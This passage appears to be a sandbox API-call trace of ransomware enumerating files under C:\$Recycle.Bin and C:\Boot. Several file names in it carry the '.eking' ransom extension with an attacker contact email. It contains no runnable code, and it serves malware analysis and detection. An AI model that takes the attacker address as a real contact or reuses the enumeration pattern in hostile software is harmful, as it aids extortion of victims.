lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.702] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.702] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xde7c2ea0, ftCreationTime.dwHighDateTime=0x1d696f3, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0194.702] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6bc3920, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6bc3920, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0194.702] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6bc3920, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6bc3920, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0194.702] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.703] GetProcessHeap () returned 0x550000 [0194.703] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0194.703] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0194.703] FindClose (in: hFindFile=0x570fb8 | out: hFindFile=0x570fb8) returned 1 [0194.703] GetProcessHeap () returned 0x550000 [0194.703] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f55b0 | out: hHeap=0x550000) returned 1 [0194.703] FindNextFileW (in: hFindFile=0x570f78, lpFindFileData=0x2cef530 | out: lpFindFileData=0x2cef530*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0194.703] GetProcessHeap () returned 0x550000 [0194.703] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0194.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570fb8 [0194.703] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.703] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0194.703] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0194.704] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0194.704] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0194.704] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6d66840, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x7d77cc0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTST~1.EKI")) returned 1 [0194.704] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0194.704] GetProcessHeap () returned 0x550000 [0194.704] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.704] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.704] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.704] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.704] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.704] GetProcessHeap () returned 0x550000 [0194.705] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.705] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0194.705] GetProcessHeap () returned 0x550000 [0194.705] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.705] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.705] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.705] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.705] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.705] GetProcessHeap () returned 0x550000 [0194.705] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.705] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0194.705] GetProcessHeap () returned 0x550000 [0194.705] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.705] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.705] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.706] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.706] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.706] GetProcessHeap () returned 0x550000 [0194.706] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.706] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0194.706] GetProcessHeap () returned 0x550000 [0194.706] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.706] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.706] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.706] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.706] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.706] GetProcessHeap () returned 0x550000 [0194.707] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.707] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0194.707] GetProcessHeap () returned 0x550000 [0194.707] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.707] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.707] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.707] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.707] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0194.707] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0194.707] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.707] GetProcessHeap () returned 0x550000 [0194.707] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.707] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0194.708] GetProcessHeap () returned 0x550000 [0194.708] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, 